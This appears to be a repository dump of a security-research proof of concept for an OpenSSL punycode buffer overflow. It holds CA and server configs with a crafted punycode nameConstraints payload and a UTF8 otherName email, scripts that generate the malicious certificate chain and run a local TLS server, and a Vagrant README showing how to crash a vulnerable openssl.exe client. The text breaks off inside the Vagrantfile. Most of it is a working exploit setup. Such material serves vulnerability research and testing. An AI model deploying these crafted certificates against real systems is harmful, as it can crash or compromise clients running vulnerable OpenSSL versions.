stateOrProvinceName = match 45 | organizationName = match 46 | organizationalUnitName = optional 47 | commonName = supplied 48 | emailAddress = optional 49 | 50 | [ policy_anything ] 51 | countryName = optional 52 | stateOrProvinceName = optional 53 | localityName = optional 54 | organizationName = optional 55 | organizationalUnitName = optional 56 | commonName = supplied 57 | emailAddress = optional 58 | 59 | #################################################################### 60 | [ req ] 61 | default_bits = 2048 62 | default_md = sha256 63 | default_keyfile = privkey.pem 64 | distinguished_name = req_distinguished_name 65 | #attributes = req_attributes 66 | x509_extensions = v3_ca # The extentions to add to the self signed cert 67 | 68 | [ req_distinguished_name ] 69 | countryName = Country Name (2 letter code) 70 | countryName_default = US 71 | countryName_min = 2 72 | countryName_max = 2 73 | countryName_value = US 74 | stateOrProvinceName = State or Province Name (full name) 75 | stateOrProvinceName_default = NY 76 | stateOrProvinceName_value = NY 77 | localityName = Locality Name (eg, city) 78 | localityName_default = NYC 79 | localityName_value = NYC 80 | 0.organizationName = Organization Name (eg, company) 81 | 0.organizationName_default = DataDog 82 | 0.organizationName_value = DataDog 83 | organizationalUnitName = Organizational Unit Name (eg, section) 84 | organizationalUnitName_default = SecurityResearch 85 | organizationalUnitName_value = SecurityResearch 86 | commonName = Common Name (eg, your name or your server\'s hostname) 87 | commonName_max = 64 88 | commonName_value = RootCA 89 | 90 | [ req_attributes ] 91 | challengePassword = A challenge password 92 | challengePassword_min = 4 93 | challengePassword_max = 20 94 | unstructuredName = An optional company name 95 | 96 | [ v3_req ] 97 | # Extensions to add to a certificate request 98 | basicConstraints = CA:FALSE 99 | keyUsage = nonRepudiation, digitalSignature, keyEncipherment 100 | 101 | [ v3_ca ] 102 | # Extensions for a typical CA 103 | subjectKeyIdentifier=hash 104 | authorityKeyIdentifier=keyid:always,issuer 105 | basicConstraints = critical,CA:true,pathlen:1 106 | 107 | # Payload is here 108 | nameConstraints = permitted;email:xn--3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2ba@example.com 109 | 110 | [ crl_ext ] 111 | # issuerAltName=issuer:copy 112 | authorityKeyIdentifier=keyid:always 113 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/configs/server.cnf: -------------------------------------------------------------------------------- 1 | [ req ] 2 | distinguished_name = req_distinguished_name 3 | 4 | [ req_distinguished_name ] 5 | countryName = Country Name (2 letter code) 6 | countryName_default = US 7 | countryName_min = 2 8 | countryName_max = 2 9 | countryName_value = US 10 | stateOrProvinceName = State or Province Name (full name) 11 | stateOrProvinceName_default = NY 12 | stateOrProvinceName_value = NY 13 | localityName = Locality Name (eg, city) 14 | localityName_default = NYC 15 | localityName_value = NYC 16 | 0.organizationName = Organization Name (eg, company) 17 | 0.organizationName_default = DataDog 18 | 0.organizationName_value = DataDog 19 | organizationalUnitName = Organizational Unit Name (eg, section) 20 | organizationalUnitName_default = SecurityResearch 21 | organizationalUnitName_value = SecurityResearch 22 | commonName = Common Name (eg, your name or your server\'s hostname) 23 | commonName_max = 64 24 | commonName_value = MaliciousServerCert 25 | 26 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/configs/server_ext.cnf: -------------------------------------------------------------------------------- 1 | basicConstraints = critical,CA:false 2 | subjectKeyIdentifier = hash 3 | authorityKeyIdentifier = keyid,issuer:always 4 | nsCertType = server 5 | keyUsage = critical, digitalSignature, keyEncipherment 6 | extendedKeyUsage = serverAuth 7 | 8 | # Define subjectAltName with otherName 9 | subjectAltName = @alts 10 | [alts] 11 | otherName = 1.3.6.1.5.5.7.8.9;FORMAT:UTF8,UTF8String:测试@overflow.com 12 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/gen.sh: -------------------------------------------------------------------------------- 1 | rm -rf index.txt serial private certs 2 | touch index.txt 3 | echo 01 > serial 4 | mkdir private certs 5 | 6 | ######################### 7 | # Create CA certificate # 8 | ######################### 9 | 10 | # Generate private key for CA certificate 11 | openssl genrsa -out private/ca.key.pem 2048 12 | # Generate CA certificate 13 | openssl req -new -x509 -days 3650 -config configs/ca.cnf -key private/ca.key.pem -out certs/cacert.pem 14 | 15 | ############################# 16 | # Create Server certificate # 17 | ############################# 18 | 19 | # Generate private key for client certificate 20 | openssl genrsa -out certs/server.key.pem 2048 21 | # Generate CSR for client certificate 22 | openssl req -new -key certs/server.key.pem -config configs/server.cnf -out certs/server.csr 23 | # Create client certificate 24 | openssl ca -config configs/ca.cnf -extfile configs/server_ext.cnf -days 1650 -notext -batch -in certs/server.csr -out certs/server.cert.pem 25 | 26 | cat certs/server.cert.pem certs/cacert.pem > certs/trusted.pem 27 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/run_server.sh: -------------------------------------------------------------------------------- 1 | ../openssl-3.0.7/apps/openssl s_server -accept 127.0.0.1:3000 -CAfile certs/cacert.pem -cert certs/trusted.pem -key certs/server.key.pem -state 2 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/openssl-vagrant-poc.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DataDog/security-labs-pocs/b65ff27cec0a1593796d11a41094da4a005b8ba4/proof-of-concept-exploits/openssl-punycode-vulnerability/openssl-vagrant-poc.gif -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/vagrant/.vagrant/rgloader/loader.rb: -------------------------------------------------------------------------------- 1 | # This file loads the proper rgloader/loader.rb file that comes packaged 2 | # with Vagrant so that encoded files can properly run with Vagrant. 3 | 4 | if ENV["VAGRANT_INSTALLER_EMBEDDED_DIR"] 5 | require File.expand_path( 6 | "rgloader/loader", ENV["VAGRANT_INSTALLER_EMBEDDED_DIR"]) 7 | else 8 | raise "Encoded files can't be read outside of the Vagrant installer." 9 | end 10 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/vagrant/README.md: -------------------------------------------------------------------------------- 1 | # Vulnerable Vagrant Environment 2 | 3 | 4 | ![openssl vagrant poc](../openssl-vagrant-poc.gif "openssl vagrant poc") 5 | 6 | This Vagrant configuration will launch the vagrant environment with: 7 | 1. Linux ubuntu box contains OpenSSL with the malicious certificate 8 | 2. Windows box with vulnerable OpenSSL 9 | 10 | > If you want to replicate the attacking scenarios from scratch, visit [Malicious Client](../malicious_client/) or [Malicious Server](../malicious_server/) 11 | 12 | 13 | ## steps 14 | 15 | 1. Run vagrant 16 | ``` 17 | vagrant up 18 | ``` 19 | 20 | 21 | 2. Initiate RDP access to the windows VM 22 | 23 | ``` 24 | vagrant rdp windows 25 | ``` 26 | 27 | 3. Use any RDP client to connect to the windows VM, using username `vagrant` and password `vagrant` 28 | 29 | 30 | 4. Open the windows command line and navigate to the POC directory 31 | ``` 32 | cd C:\Users\vagrant\Documents\WindowsCrash\ 33 | ``` 34 | 35 | We've compiled openssl.exe for you using the official instructions [here](https://github.com/openssl/openssl/blob/master/NOTES-WINDOWS.md#native-builds-using-visual-c++) 36 | 37 | 38 | 5. Now just connect to the malicious client 39 | 40 | ``` 41 | openssl.exe s_client -connect 192.168.56.3:3000 42 | ``` 43 | 44 | As you will see the openssl.exe will crash in the verify step, and you can see the crash in the event viewer 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/vagrant/Vagrantfile: -------------------------------------------------------------------------------- 1 | $server_script = <